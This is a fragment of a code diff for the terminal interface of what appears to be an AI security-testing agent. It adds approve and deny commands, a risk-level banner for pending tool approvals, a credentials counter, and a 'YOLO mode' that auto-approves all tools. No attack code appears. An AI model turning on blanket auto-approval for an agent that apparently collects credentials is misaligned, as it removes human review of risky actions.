+ const newYoloState = !approvalManager2.getAutoApprovedTools().length;
4489
+ approvalManager2.setYoloMode(newYoloState);
4490
+ addMessage(MESSAGE_TYPE.SYSTEM, newYoloState ? "\u26A0\uFE0F YOLO mode ON - Auto-approving all tools" : "\u{1F512} YOLO mode OFF - Manual approval required");
4491
+ return;
2890
4492
  case CLI_COMMAND.CLEAR:
2891
4493
  case "c":
2892
4494
  setMessages([]);
@@ -2896,8 +4498,33 @@ var App = ({ autoApprove = false, target }) => {
2896
4498
  case "q":
2897
4499
  exit();
2898
4500
  return;
4501
+ case "approve":
4502
+ case "y":
4503
+ if (pendingApproval) {
4504
+ approvalManager2.respond(pendingApproval.id, "approve");
4505
+ addMessage(MESSAGE_TYPE.SYSTEM, "\u2713 Approved");
4506
+ setPendingApproval(null);
4507
+ } else {
4508
+ addMessage(MESSAGE_TYPE.ERROR, "No pending approval");
4509
+ }
4510
+ return;
4511
+ case "deny":
4512
+ case "n":
4513
+ if (pendingApproval) {
4514
+ approvalManager2.respond(pendingApproval.id, "deny");
4515
+ addMessage(MESSAGE_TYPE.SYSTEM, "\u2717 Denied");
4516
+ setPendingApproval(null);
4517
+ } else {
4518
+ addMessage(MESSAGE_TYPE.ERROR, "No pending approval");
4519
+ }
4520
+ return;
2899
4521
  default:
2900
- addMessage(MESSAGE_TYPE.ERROR, `Unknown: ${cmd}`);
4522
+ const cmdResult = await agent.processCommand(trimmed);
4523
+ if (cmdResult) {
4524
+ addMessage(MESSAGE_TYPE.ASSISTANT, cmdResult);
4525
+ } else {
4526
+ addMessage(MESSAGE_TYPE.ERROR, `Unknown: ${cmd}`);
4527
+ }
2901
4528
  return;
2902
4529
  }
2903
4530
  }
@@ -2905,15 +4532,17 @@ var App = ({ autoApprove = false, target }) => {
2905
4532
  startTimer();
2906
4533
  setCurrentStatus("Thinking...");
2907
4534
  try {
2908
- await agent.processUserHint(trimmed);
2909
- addMessage(MESSAGE_TYPE.SYSTEM, "Hint received.");
4535
+ const response = await agent.chat(trimmed);
4536
+ if (response) {
4537
+ addMessage(MESSAGE_TYPE.ASSISTANT, response);
4538
+ }
2910
4539
  } catch (e) {
2911
4540
  addMessage(MESSAGE_TYPE.ERROR, e instanceof Error ? e.message : String(e));
2912
4541
  }
2913
4542
  stopTimer();
2914
4543
  setIsProcessing(false);
2915
4544
  setCurrentStatus("");
2916
- }, [agent, isProcessing, addMessage, exit, startTimer, stopTimer]);
4545
+ }, [agent, isProcessing, pendingApproval, addMessage, exit, startTimer, stopTimer, sessionManager2, approvalManager2]);
2917
4546
  useInput((input2, key) => {
2918
4547
  if (key.ctrl && input2 === "c") {
2919
4548
  if (isProcessing) {
@@ -2954,6 +4583,13 @@ var App = ({ autoApprove = false, target }) => {
2954
4583
  ] })
2955
4584
  ] }) }, msg.id);
2956
4585
  } }) }),
4586
+ pendingApproval && /* @__PURE__ */ jsx(Box, { marginBottom: 1, children: /* @__PURE__ */ jsxs(Text, { color: THEME.status.error, bold: true, children: [
4587
+ "\u26A0\uFE0F Awaiting approval for ",
4588
+ pendingApproval.toolName,
4589
+ " (",
4590
+ pendingApproval.riskLevel,
4591
+ ")"
4592
+ ] }) }),
2957
4593
  isProcessing ? /* @__PURE__ */ jsxs(Box, { children: [
2958
4594
  /* @__PURE__ */ jsx(Text, { color: THEME.status.running, children: /* @__PURE__ */ jsx(Spinner, { type: "dots" }) }),
2959
4595
  /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
@@ -2983,6 +4619,8 @@ var App = ({ autoApprove = false, target }) => {
2983
4619
  " \u2502",
2984
4620
  state.findings.length,
2985
4621
  " findings \u2502",
4622
+ state.credentials.length,
4623
+ " creds \u2502",
2986
4624
  state.currentPhase !== AGENT_STATUS.IDLE && ` ${state.currentPhase} \u2502`
2987
4625
  ] }),
2988
4626
  /* @__PURE__ */ jsxs(Text, { dimColor: true, children: [
@@ -3052,8 +4690,8 @@ program.command("run <objective>").alias("r").description("Run a single objectiv
3052
4690
  const summary = agent.getSummary();
3053
4691
  console.log(JSON.stringify(summary, null, 2));
3054
4692
  if (options.output) {
3055
- const fs5 = await import("fs/promises");
3056
- await fs5.writeFile(options.output, JSON.stringify(summary, null, 2));
4693
+ const fs4 = await import("fs/promises");
4694
+ await fs4.writeFile(options.output, JSON.stringify(summary, null, 2));
3057
4695
  console.log(chalk.hex(THEME.text.accent)(`
3058
4696
  [+] Report saved to: ${options.output}`));
3059
4697
  }